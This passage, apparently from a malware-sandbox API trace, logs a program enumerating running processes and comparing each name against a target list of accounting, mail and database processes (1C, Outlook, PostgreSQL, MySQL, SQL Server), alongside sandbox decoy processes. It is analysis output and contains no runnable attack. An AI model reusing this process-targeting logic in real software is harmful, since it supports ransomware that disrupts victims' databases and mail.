lpString2="smss.exe") returned -1 [0041.101] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.101] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.101] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.101] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.102] lstrlenW (lpString="csrss.exe") returned 9 [0041.102] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.102] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.102] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.102] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.102] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.102] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.102] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.102] lstrlenW (lpString="wininit.exe") returned 11 [0041.102] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.102] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.102] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.102] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.102] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.102] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.102] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.103] lstrlenW (lpString="csrss.exe") returned 9 [0041.103] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.103] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.103] lstrlenW (lpString="winlogon.exe") returned 12 [0041.103] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.103] lstrlenW (lpString="services.exe") returned 12 [0041.103] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.104] lstrlenW (lpString="lsass.exe") returned 9 [0041.104] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.104] lstrlenW (lpString="lsm.exe") returned 7 [0041.104] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.105] lstrlenW (lpString="svchost.exe") returned 11 [0041.105] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.105] lstrlenW (lpString="svchost.exe") returned 11 [0041.105] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.105] lstrlenW (lpString="svchost.exe") returned 11 [0041.105] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.106] lstrlenW (lpString="svchost.exe") returned 11 [0041.106] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.106] lstrlenW (lpString="svchost.exe") returned 11 [0041.106] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.106] lstrlenW (lpString="audiodg.exe") returned 11 [0041.106] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.107] lstrlenW (lpString="svchost.exe") returned 11 [0041.107] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.107] lstrlenW (lpString="svchost.exe") returned 11 [0041.107] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.108] lstrlenW (lpString="dwm.exe") returned 7 [0041.108] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.108] lstrlenW (lpString="explorer.exe") returned 12 [0041.108] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.108] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.108] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.109] lstrlenW (lpString="taskhost.exe") returned 12 [0041.109] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.109] lstrlenW (lpString="svchost.exe") returned 11 [0041.109] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.109] lstrlenW (lpString="taskeng.exe") returned 11 [0041.109] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0041.110] lstrlenW (lpString="judges-present.exe") returned 18 [0041.110] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0041.110] lstrlenW (lpString="physics.exe") returned 11 [0041.110] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0041.111] lstrlenW (lpString="belongs.exe") returned 11 [0041.111] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0041.111] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0041.111] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0041.111] lstrlenW (lpString="gadgets.exe") returned 11 [0041.111] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0041.112] lstrlenW (lpString="geneva.exe") returned 10 [0041.112] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0041.112] lstrlenW (lpString="elephant.exe") returned 12 [0041.112] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0041.113] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0041.113] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0041.113] lstrlenW (lpString="roger-venice.exe") returned 16 [0041.113] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0041.113] lstrlenW (lpString="cite.exe") returned 8 [0041.113] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0041.114] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0041.114] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0041.114] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0041.114] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0041.114] lstrlenW (lpString="artist_selecting.exe") returned 20 [0041.114] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0041.115] lstrlenW (lpString="poems.exe") returned 9 [0041.115] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0041.115] lstrlenW (lpString="bow.exe") returned 7 [0041.115] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0041.115] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0041.116] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0041.116] lstrlenW (lpString="businesses.exe") returned 14 [0041.116] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0041.116] lstrlenW (lpString="lucky.exe") returned 9 [0041.116] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0041.117] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0041.117] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0041.117] lstrlenW (lpString="healthmanner.exe") returned 16 [0041.117] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0041.117] lstrlenW (lpString="3dftp.exe") returned 9 [0041.117] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0041.118] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0041.118] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0041.118] lstrlenW (lpString="alftp.exe") returned 9 [0041.118] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0041.118] lstrlenW (lpString="barca.exe") returned 9 [0041.119] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0041.119] lstrlenW (lpString="bitkinex.exe") returned 12 [0041.119] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0041.119] lstrlenW (lpString="coreftp.exe") returned 11 [0041.119] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0041.120] lstrlenW (lpString="far.exe") returned 7 [0041.120] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0041.120] lstrlenW (lpString="filezilla.exe") returned 13 [0041.120] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0041.120] lstrlenW (lpString="flashfxp.exe") returned 12 [0041.120] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0041.121] lstrlenW (lpString="fling.exe") returned 9 [0041.121] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0041.121] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0041.121] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0041.121] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0041.121] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0041.122] lstrlenW (lpString="icq.exe") returned 7 [0041.122] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0041.122] lstrlenW (lpString="leechftp.exe") returned 12 [0041.122] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0041.123] lstrlenW (lpString="ncftp.exe") returned 9 [0041.123] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0041.631] lstrlenW (lpString="notepad.exe") returned 11 [0041.631] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0041.632] lstrlenW (lpString="operamail.exe") returned 13 [0041.632] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0041.633] lstrlenW (lpString="pidgin.exe") returned 10 [0041.633] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0041.633] lstrlenW (lpString="scriptftp.exe") returned 13 [0041.633] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0041.634] lstrlenW (lpString="skype.exe") returned 9 [0041.634] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0041.634] lstrlenW (lpString="smartftp.exe") returned 12 [0041.634] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0041.635] lstrlenW (lpString="thunderbird.exe") returned 15 [0041.635] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0041.636] lstrlenW (lpString="totalcmd.exe") returned 12 [0041.636] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0041.636] lstrlenW (lpString="trillian.exe") returned 12 [0041.636] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0041.637] lstrlenW (lpString="webdrive.exe") 